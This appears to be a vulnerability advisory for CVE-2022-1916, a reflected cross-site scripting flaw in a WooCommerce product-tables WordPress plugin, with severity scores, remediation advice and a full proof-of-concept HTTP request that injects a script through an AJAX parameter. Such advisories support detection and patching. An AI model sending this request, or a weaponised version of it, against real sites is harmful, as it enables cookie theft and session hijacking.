| Title | WordPress Active Products Tables for WooCommerce <1.0.5 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to version 1.0.5 or later of the WordPress Active Products Tables for WooCommerce plugin to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04572 |
| CVE ID | CVE-2022-1916 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wordpress wp-plugin xss wpscan wp pluginus vkev vuln |
WordPress Active Products Tables for WooCommerce plugin prior to 1.0.5 contains a cross-site scripting vulnerability.. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-admin/admin-ajax.php?action=woot_get_smth&what=\{\%22call_action%22:%22x%22,%22more_data%22:%22\u003cscript%3Ealert(document.domain)\u003c/script%3E%22} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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